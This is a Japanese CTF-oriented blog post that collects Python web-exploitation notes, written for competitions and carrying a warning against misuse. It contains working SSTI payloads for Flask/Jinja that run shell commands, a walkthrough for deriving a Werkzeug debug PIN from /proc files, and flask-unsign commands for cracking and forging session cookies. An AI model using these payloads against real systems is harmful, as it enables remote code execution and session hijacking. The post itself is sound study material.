はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるPythonまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の19日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

 >>> import os
 >>> print(os.path.join('/home', 'flag.txt'))
 /home/flag.txt
 >>> print(os.path.join('/home', '/flag.txt'))
 /flag.txt
  • subprocessはコマンドインジェクションができてしまう
    • 特にshell=Trueとなってたら危ない
    • subprocess --- サブプロセス管理 — Python 3.8.5 ドキュメント
      • shell=Trueを付けない、デフォルトの状態だと安全に渡される
      • 例えばcat flagを与えると、スペースがエスケープされて全体で1コマンド解釈されるので、shell=Trueを付けたりする
      • でも['cat', 'flag']を与えることで、shall=Trueが無くても正しく実行してくれる(しかも空白を制限できるのでやや安全)
  • cookieを使ってバイパス
    • CTFtime.org / DefCamp CTF 2020 Online / http-for-pros / Writeup
    • request.cookies['a']みたいにして、aをcookieに入れてやればいい
    • {{request[request.cookies['a']][request.cookies['b']][request.cookies['c']][request.cookies['d']][request.cookies['e']][request.cookies['f']]('subprocess')[request.cookies['g']](request.cookies['h'],shell=True)}}として -"a": "__class__","b": "_get_file_stream","c": "im_func","d": "func_globals","e": "__builtins__","f": "__import__","g": "check_output","h": cmdという感じ
  • re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)
    • とやると\nは変換されない
  • 脆弱性
  • 文字列しか扱えないとき
    • f"{__builtins__['__import__']('os').__dict__['popen']('ls').read()}"みたいにf"{}"で囲んで文字列化
  • プライベート変数を参照したいとき
  • __dict__インスタンスの変数が参照可能 instance.__dict__['private_var_name'] = 'private_var_value';
  • メモリを改ざんすることで数値をいじるテク
    • pythonでは全てがオブジェクトとして管理されており、数値もオブジェクトとしてメモリに実質的な値が格納されている。よって、メモリをいじることで数値の評価値を変えることができる
    • Python - Pythonのid関数は一体何を指しているのか?|teratail
      • id関数でメモリの場所が抜けるが、色々実装依存の所があるっぽい
    • 🔰 SECCON Beginners CTF 2021 作問者 Writeup - Qiita
      • 要求としては42の数値を書き換えたい
      • 数値42の先頭アドレスを取得する id(42)とするのが理想だがこの問題では5文字までの制限があるのでid(1)として41 * 32を足すことでid(42)を求めている
      • 1のアドレス+24からが数値の中身を管理する領域なのでここまでseekして書き換える
      • 問題ではHackを書き込むので、これが32bit整数として評価されるので42はかなりでかい数値として評価される事になってフラグを得る
  • pythonのcodingをraw_unicode_escapeを使って、コメント部分を実行させるテク
  • 文字種が限定されている場合のRCE
  • メモ
    • type(int("1_1")) = <class 'int'>int("1_1")=11となる
  • pdb.post_mortem(e.__traceback__)みたいなコードがあれば、ここに到達すればPDBが起動する。
  • pycを解析する

ライブラリ

  • Flask,Twig
    • HackTricks
    • python向けのウェブアプリケーションフレームワーク
    • セッションの形式が特殊でわかりやすい
    • {{ config.items() }}とやることで、いろんな情報を表示できる {{config}}でも抜ける
    • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
    • secure_filenameは強い。
    • debug modeの場合は/consoleが怪しい
      • consoleにPINコードがかかっているときの解析方法。LFIができれば解析可能
      • Workerbee Walkthrough (Werkzeug Debug Pin generation) - YouTube
        • werkzeug - HackTricks
          • ここの末尾にPINコードを作成するpythonコードが添付されているのでこれを埋めるようにして、情報をかき集めていく
        • probably_public_bitsを埋める
          • 1番目
            • /proc/self/environから環境変数USERを取ってくるUSER=loremipsum
          • 2番目はそのまま
          • 3番目
            • /proc/self/cmdlineをするとloremipsum.pyというファイル名だと分かる
            • loremipsum.pyを取ってくるとapp = Flask(__name__)とあるので、ここはこのままFlaskでよい
          • 4番目
            • エラー画面を見ると/usr/local/lib/python3.6/dist-packages/flask/app.pyとあるので、python3.6に修正する
        • private_bits
          • 1番目
            • /proc/net/arpを見るとDeviceはeth0であると分かる。
            • /sys/class/net/eth0/addressとしてMACアドレスを取得する02:42:ac:1b:00:02
            • これを16進数でつないで10進数に変換すると得られる print(0x0242ac1b0002)=2485378547714
          • 2番目
            • 以下2つをそのままつなげたものを入れる
              • /proc/sys/kernel/random/boot_idb875f129-5ae6-4ab1-90c0-ae07a6134578が得られる
              • /proc/self/cgroupの最初の要素のハッシュ値みたいなやつを取ってくる
                • 11:memory:/docker/e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334aee8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
            • よって、b875f129-5ae6-4ab1-90c0-ae07a6134578e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
        • これで実行するとPINコード126-739-410が得られて、使えば答え
    • Flaskのセッション管理
      • format
      • Cookieにセッションの内容が全部入っている。secret_keyがあれば署名も可能
        • Cookieにセッションの内容がすべて入っている(スレートレス)状態になっているため、ログアウトしてCookieを削除しても、それを予めとっておいて再送すればログイン中のセッションとして使用できる
        • つまり、ログアウトの目的の1つである、古いセッションを削除して、dropcatchされても問題ないようにするという解決法が意味をなさない
          • 緩和策としてセッションの寿命を短くしておくことが挙げられる
      • sstiできるなら、configからsecret_keyを抜き出すことも可能
      • flask_jwtを使うことでjwtが使える
      • Tools
        • GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
        • flask-unsignツールを使うと簡単にブルートフォースで解析可能
          • インストール pip install flask-unsign flask-unsign[wordlist]
          • 中身見る flask-unsign -d -c "[cookie]"
          • パスワード解析 flask-unsign -c "[cookie]" --unsign
          • 作り直す flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'toto'}"
        • 辞書攻撃が効く問題も見たことがある
          • rockyou.txtで解析したいとき flask-unsign -c "[cookie]" --unsign --wordlist tools/rockyou.txt --no-literal-eval
    • send_fileするときにMIMEタイプが設定されていない場合は、拡張子からMIMEタイプが推論されて付与される
  • flask_admin
    • クラスでモデルを作ってDB編集を簡単に行えるようにしたフレームワーク
      • from flask_admin import Adminみたいにインポートしてる
    • これを使えば以下ルールでDBをいじれる
      • /admin/[Table名]/ Table内容を確認する
      • /admin/[Table名]/edit/?id=XX id=XXである要素を編集できる
      • /admin/[Table名]/new Tableに新しい要素を追加する
    • 問題
  • Flaskのwerkzeugで使われるパスワードハッシュ
    • from werkzeug.security import generate_password_hashで使われるパスワードハッシュ
    • pbkdf2:sha256:150000$ODedbYPS$4d1bd12adb1eb63f78e49873cbfc731e35af178cb9eb6b8b62c09dcf8db76670こんなかんじ
  • jinja
    • RCE1
      • getパラメタを使ってうまくフィルターを回避する例
      • URL/apply?x=__class__&l=os
      • データ{{(config|attr(request.args.x)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')(request.args.l)|attr('popen')('id')|attr('read')())}}
    • RCE2
      • {{request.environ.__getitem__('gunicorn.socket').dup.__func__.__globals__.__getitem__('o''s').__builtins__.__getitem__('__import__')('subprocess').check_output(('bash','-c','cat strategyguide.txt'))}}
  • Tornade
  • Pickle
  • weurkzerg
    • デバッグモードが有効だと、エラー時に任意のpythonコードを実行できる
    • /consoleでInteractive Console使えるかも
  • helpを使った変数表示